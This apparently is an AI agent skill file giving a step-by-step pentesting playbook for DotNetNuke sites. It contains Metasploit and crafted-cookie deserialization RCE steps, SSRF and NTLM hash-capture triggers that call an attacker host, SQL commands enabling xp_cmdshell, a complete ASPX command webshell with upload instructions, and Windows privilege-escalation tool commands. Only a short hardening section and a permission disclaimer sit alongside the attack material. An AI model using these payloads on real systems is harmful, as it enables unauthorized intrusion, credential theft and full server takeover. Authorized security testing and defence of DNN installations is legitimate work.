Dnn Pentest

DotNetNuke (DNN) Pentesting Skill

A comprehensive guide for assessing DotNetNuke (DNN) installations for security vulnerabilities, from enumeration through exploitation to hardening.

Quick Start

# Enumerate DNN version
./scripts/enumerate-dnn.sh <target-url>

# Craft malicious cookie for deserialization RCE
python3 ./scripts/craft-dnn-cookie.py --gadget <gadget-name> --lhost <attacker-ip>

# Test SSRF vulnerability
python3 ./scripts/test-ssrf.py <target-url> <callback-server>

1. Version & Environment Enumeration

Check HTTP Headers

The X-DNN response header often discloses the exact platform version:

curl -I https://target.com | grep -i x-dnn

Check Installation Wizard (Old Installs)

Very old installations may leak version via the install wizard:

curl https://target.com/Install/Install.aspx?mode=install

API Status Endpoint (9.x+)

For DNN 9.x, the API endpoint returns version info for low-privilege users:

curl https://target.com/API/PersonaBar/GetStatus | jq '.dnnVersion'

Inspect Cookies

Look for these cookies in responses:

• .DOTNETNUKE - ASP.NET forms authentication ticket
• DNNPersonalization - Contains XML/serialized user profile data (potential RCE vector in old versions)

curl -c cookies.txt https://target.com
cat cookies.txt | grep -E "DOTNETNUKE|DNNPersonalization"

2. Unauthenticated Exploitation

CVE-2017-9822: Cookie Deserialization RCE

Affected: DNN ≤ 9.3.0-RC

The DNNPersonalization cookie is deserialized on every request when the 404 handler is enabled. Crafted XML can trigger gadget chains for arbitrary code execution.

Using Metasploit:

msfconsole
use exploit/windows/http/dnn_cookie_deserialization_rce
set RHOSTS <target>
set LHOST <attacker_ip>
run

The module handles patched but still vulnerable versions (CVE-2018-15811/15812/18325/18326).

Manual Exploitation:

Use the cookie crafting script:

python3 ./scripts/craft-dnn-cookie.py --gadget ObjectDeserialization --lhost 10.0.0.1 --lport 4444

This generates a malicious DNNPersonalization cookie. Send it with requests:

curl -H "Cookie: DNNPersonalization=<malicious-cookie>" https://target.com

Works:

• Unauthenticated on 7.x–9.1.x
• With low-privilege account on 9.2.x+

CVE-2025-32372: SSRF via RemoteContentProxy

Affected: DNN < 9.13.8 (patched April 2025)

A bypass of the DnnImageHandler fix allows semi-blind SSRF via the RemoteContentProxy API.

Proof of Concept:

# Start a listener
nc -lvnp 8080

# Trigger SSRF
curl "https://target.com/API/RemoteContentProxy?url=http://attacker:8080/poc"

Use Cases:

• Internal port scanning
• Cloud metadata service discovery (http://169.254.169.254/latest/meta-data/)
• Accessing internal hosts behind firewalls

Script:

python3 ./scripts/test-ssrf.py https://target.com http://attacker:8080

CVE-2025-52488: NTLM Hash Exposure via UNC Redirect

Affected: DNN 6.0.0 – 9.x (< 10.0.1)

Specially crafted content triggers DNN to fetch resources via UNC paths, causing Windows NTLM negotiation and hash leakage.

Setup Responder:

# Install Responder
pip3 install responder

# Start capture
Responder -I <interface> -w

Trigger:

curl "https://target.com/some-endpoint?img=\\\\attacker\\share\\image.png"

Mitigation: Upgrade to 10.0.1+ or block outbound SMB (ports 445/139).

CVE-2025-52487: IP Filter Bypass

Affected: DNN < 10.0.1

Host/IP Filters on the admin portal can be bypassed via X-Forwarded-For manipulation in reverse-proxy scenarios.

Test:

curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin

3. Post-Authentication to RCE

Via SQL Console

If you have admin access:

1. Navigate to Settings → SQL
2. Execute the following to enable xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';

Via ASPX Webshell Upload

1. Go to Settings → Security → More → More Security Settings
2. Add aspx (or asp) to Allowable File Extensions
3. Save settings
4. Navigate to /admin/file-management
5. Upload a webshell (e.g., shell.aspx)
6. Access at /Portals/0/shell.aspx

Basic ASPX Webshell:

<%@ Page Language="C#" %>
<script runat="server">
    void Page_Load(object sender, EventArgs e) {
        string cmd = Request.QueryString["cmd"];
        if (!string.IsNullOrEmpty(cmd)) {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/c " + cmd;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.UseShellExecute = false;
            p.Start();
            Response.Write(p.StandardOutput.ReadToEnd());
        }
    }
</script>

4. Privilege Escalation on Windows

After gaining code execution as IIS AppPool<Site>:

SeImpersonatePrivilege Abuse

# PrintSpoofer
git clone https://github.com/BeichenDream/PrintSpoofer
cd PrintSpoofer && make
./PrintSpoofer

# SpoolFool
git clone https://github.com/antonioCoco/SpoolFool
cd SpoolFool && make
./SpoolFool.exe

Service Account Escalation

# JuicyPotato
git clone https://github.com/ohpe/juicy-potato
cd juicy-potato && make
./JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "-c whoami"

# SharpPotatoes
git clone https://github.com/CCob/SharpPotatoes
dotnet run --project SharpPotatoes.csproj

5. Hardening Recommendations (Blue Team)

Immediate Actions

1. Upgrade to at least 9.13.9 (SSRF fix) or preferably 10.0.1+ (IP filter & NTLM fixes)
2. Remove InstallWizard.aspx and related files after installation
3. Disable outbound SMB (ports 445/139) at the firewall
4. Enforce Host Filters on the edge proxy, not within DNN
5. Block /API/RemoteContentProxy if not needed

Ongoing Maintenance

• Monitor for X-DNN header leaks
• Regularly audit Allowable File Extensions in security settings
• Keep DNN and all modules updated
• Implement network segmentation for DNN backend
• Enable logging for /admin/* and /API/* endpoints

6. References

• Metasploit dnn_cookie_deserialization_rce module
• GitHub Security Advisory GHSA-3f7v-qx94-666m (2025 SSRF bypass)
• CVE-2017-9822, CVE-2018-15811, CVE-2018-15812, CVE-2018-18325, CVE-2018-18326
• CVE-2025-32372, CVE-2025-52487, CVE-2025-52488

Safety & Ethics

This skill is for authorized security assessments only. Always obtain written permission before testing any system. Unauthorized access to computer systems is illegal and unethical.